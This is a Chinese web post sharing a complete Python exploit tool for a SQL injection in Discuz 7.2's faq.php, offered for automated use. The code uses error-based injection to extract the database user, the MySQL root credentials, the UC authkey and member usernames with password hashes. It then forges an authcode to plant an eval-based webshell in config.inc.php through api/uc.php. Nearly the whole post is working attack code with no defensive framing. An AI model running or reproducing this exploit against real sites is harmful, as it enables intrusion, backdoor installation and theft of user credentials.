Python写的Discuz7.2版faq.php注入漏洞工具

964次阅读  |  发布于5年以前

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:


    #!/usr/bin/env python
    # -*- coding: gbk -*-
    # -*- coding: gb2312 -*-
    # -*- coding: utf_8 -*- 
    # author iswin 
    import sys
    import hashlib
    import time
    import math
    import base64
    import urllib2 
    import urllib
    import re

    def sendRequest(url,para):
        try:
            data = urllib.urlencode(para)
            req=urllib2.Request(url,data)
            res=urllib2.urlopen(req,timeout=20).read()
        except Exception, e:
            print 'Exploit Failed!\n%s'%(e)
            exit(0);
        return res

    def getTablePrefix(url):
        print 'Start GetTablePrefix...'
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res);
        if len(pre)==0:
            print 'Exploit Failed!'
            exit(0);
        table_pre=pre[0][:len(pre[0])-1].decode('hex')
        table_pre=table_pre[0:table_pre.index('_')]
        print 'Table_pre:%s'%(table_pre)
        return table_pre

    def getCurrentUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para)
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
            print 'Exploit Failed!'
            exit(0);
        table_pre=pre[0][:len(pre[0])-1]
        print 'Current User:%s'%(table_pre)
        return table_pre

    def getUcKey(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        res1=sendRequest(url,para1);
        key1=re.findall("Duplicate entry '(.*?)'",res)
        key2=re.findall("Duplicate entry '(.*?)'",res1)
        if len(key1)==0:
            print 'Get Uc_Key Failed!'
            return ''
        key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
        print 'uc_key:%s'%(key)
        return key

    def getRootUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
            print 'Exploit Failed!'
            exit(0);
        table_pre=pre[0][:len(pre[0])-1].split(' ')
        print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

    def dumpData(url,table_prefix,count):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
        res=sendRequest(url,para);
        datas=re.findall("Duplicate entry '(.*?)'",res)
        if len(datas)==0:
            print 'Exploit Failed!'
            exit(0)
        cleandata=datas[0][:len(datas[0])-1]
        info=cleandata.split(' ')
        print 'user:%s pass:%s'%(info[0],info[1])

    def microtime(get_as_float = False) :
      if get_as_float:
        return time.time()
      else:
        return '%.8f %d' % math.modf(time.time())

    def get_authcode(string, key = ''):
      ckey_length = 4
      key = hashlib.md5(key).hexdigest()
      keya = hashlib.md5(key[0:16]).hexdigest()
      keyb = hashlib.md5(key[16:32]).hexdigest()
      keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
      cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
      key_length = len(cryptkey)
      string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
      string_length = len(string)
      result = ''
      box = range(0, 256)
      rndkey = dict()
      for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
      j=0
      for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
      a=0
      j=0
      for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
      return keyc + base64.b64encode(result).replace('=', '')

    def get_shell(url,key,host):
      headers={'Accept-Language':'zh-cn',
      'Content-Type':'application/x-www-form-urlencoded',
      'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
      'Referer':url
      }
      tm = time.time()+10*3600
      tm="time=%d&action;=updateapps" %tm
      code = urllib.quote(get_authcode(tm,key))
      url=url+"?code="+code
      data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
          <root>
          <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
          </root>'''
      try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
      except:
        return "Exploit Falied"
      data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
          <root>
          <item id="UC_API">http://aaa</item>
          </root>'''
      try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
      except:
        return "error"

      try:
        req=urllib2.Request(host+'/config.inc.php')
        res=urllib2.urlopen(req,timeout=20).read()
      except Exception, e:
        print 'GetWebshell Failed,%s'%(e)
        return
      print "webshell:"+host+"/config.inc.php,password:3"

    if __name__ == '__main__':
        print 'DZ7.x Exp Code By iswin'
        if len(sys.argv)<3:
            print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.jb51.net 10'
            exit(0)
        url=sys.argv[1]+'/faq.php'
        count=int(sys.argv[2])
        user=getCurrentUser(url)
        if user.startswith('root@'):
            getRootUser(url)
        uc_key=getUcKey(url)
        if len(uc_key)==64:
            print 'Start GetWebshell...'
            get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
        tb_pre=getTablePrefix(url)
        print 'Start DumpData...'
        for x in xrange(0,count):
            dumpData(url,tb_pre,x)

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